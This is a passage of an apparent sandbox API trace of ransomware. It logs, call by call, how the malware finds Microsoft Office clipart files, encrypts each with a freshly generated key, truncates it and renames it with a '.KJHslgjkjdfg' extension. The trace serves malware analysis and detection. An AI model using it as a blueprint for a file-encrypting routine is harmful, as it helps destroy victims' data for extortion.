Office\\CLIPART\\PUB60COR\\PE02270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02270_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02270_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02270_.wmf.kjhslgjkjdfg")) returned 1 [0207.313] CloseHandle (hObject=0x130) returned 1 [0207.313] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f9ebd00, ftCreationTime.dwHighDateTime=0x1c0033f, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4f9ebd00, ftLastWriteTime.dwHighDateTime=0x1c0033f, nFileSizeHigh=0x0, nFileSizeLow=0xb9c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02278_.WMF", cAlternateFileName="")) returned 1 [0207.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02278_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02278_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.315] GetProcessHeap () returned 0x990000 [0207.315] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.315] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.315] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.315] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0207.317] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.317] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.317] GetProcessHeap () returned 0x990000 [0207.317] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.318] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.318] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.318] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.318] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.318] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.318] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.318] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.318] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.318] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.318] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.318] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.318] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xb9c4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xb9c4, lpOverlapped=0x0) returned 1 [0207.320] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb9d0, dwBufLen=0xb9d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb9d0) returned 1 [0207.320] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.321] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xb9d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xb9d0, lpOverlapped=0x0) returned 1 [0207.321] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.321] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xbaa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.321] SetEndOfFile (hFile=0x130) returned 1 [0207.324] GetProcessHeap () returned 0x990000 [0207.324] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.324] GetProcessHeap () returned 0x990000 [0207.324] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.324] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02278_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02278_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02278_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02278_.wmf.kjhslgjkjdfg")) returned 1 [0207.326] CloseHandle (hObject=0x130) returned 1 [0207.326] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2108500, ftCreationTime.dwHighDateTime=0x1bd4b17, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2108500, ftLastWriteTime.dwHighDateTime=0x1bd4b17, nFileSizeHigh=0x0, nFileSizeLow=0x6928, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02280_.WMF", cAlternateFileName="")) returned 1 [0207.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02280_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02280_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.328] GetProcessHeap () returned 0x990000 [0207.328] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.328] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.328] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.328] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.330] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.330] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.330] GetProcessHeap () returned 0x990000 [0207.331] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.331] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.331] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.331] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.331] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.331] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.331] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.331] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.331] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.331] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.331] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.331] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.331] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6928, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x6928, lpOverlapped=0x0) returned 1 [0207.333] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6930, dwBufLen=0x6930 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6930) returned 1 [0207.333] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.333] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6930, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x6930, lpOverlapped=0x0) returned 1 [0207.334] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.334] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6a04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.334] SetEndOfFile (hFile=0x130) returned 1 [0207.337] GetProcessHeap () returned 0x990000 [0207.337] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.337] GetProcessHeap () returned 0x990000 [0207.337] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.337] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02280_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02280_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02280_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02280_.wmf.kjhslgjkjdfg")) returned 1 [0207.339] CloseHandle (hObject=0x130) returned 1 [0207.339] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe32fdb00, ftCreationTime.dwHighDateTime=0x1bf3250, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe32fdb00, ftLastWriteTime.dwHighDateTime=0x1bf3250, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02282_.WMF", cAlternateFileName="")) returned 1 [0207.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02282_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.340] GetProcessHeap () returned 0x990000 [0207.340] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.340] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.340] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.340] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.340] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.340] GetProcessHeap () returned 0x990000 [0207.340] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.340] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.340] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.340] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.342] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.343] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.343] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.343] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.343] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.343] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.343] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.343] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.343] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7400, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7400, lpOverlapped=0x0) returned 1 [0207.345] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7400, dwBufLen=0x7400 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7400) returned 1 [0207.345] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.345] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7400, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7400, lpOverlapped=0x0) returned 1 [0207.345] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.345] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x74d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.345] SetEndOfFile (hFile=0x130) returned 1 [0207.348] GetProcessHeap () returned 0x990000 [0207.348] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.348] GetProcessHeap () returned 0x990000 [0207.348] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.348] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02282_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02282_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02282_.wmf.kjhslgjkjdfg")) returned 1 [0207.350] CloseHandle (hObject=0x130) returned 1 [0207.350] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffb65800, ftCreationTime.dwHighDateTime=0x1bf3488, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffb65800, ftLastWriteTime.dwHighDateTime=0x1bf3488, nFileSizeHigh=0x0, nFileSizeLow=0x4090, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02285_.WMF", cAlternateFileName="")) returned 1 [0207.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02285_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.352] GetProcessHeap () returned 0x990000 [0207.352] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.352] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.352] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.352] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.352] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.352] GetProcessHeap () returned 0x990000 [0207.352] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.352] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.352] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.352] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.355] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.355] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.355] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.355] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.355] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.355] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.355] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.355] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.355] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4090, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4090, lpOverlapped=0x0) returned 1 [0207.356] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4090, dwBufLen=0x4090 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4090) returned 1 [0207.357] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.357] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4090, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4090, lpOverlapped=0x0) returned 1 [0207.357] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.357] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4164, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.357] SetEndOfFile (hFile=0x130) returned 1 [0207.360] GetProcessHeap () returned 0x990000 [0207.360] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.360] GetProcessHeap () returned 0x990000 [0207.360] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.360] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02285_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02285_.wmf.kjhslgjkjdfg")) returned 1 [0207.362] CloseHandle (hObject=0x130) returned 1 [0207.362] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6bf9300, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb6bf9300, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x4584, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02287_.WMF", cAlternateFileName="")) returned 1 [0207.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02287_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.364] GetProcessHeap () returned 0x990000 [0207.364] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.364] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.364] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.364] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0207.366] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, 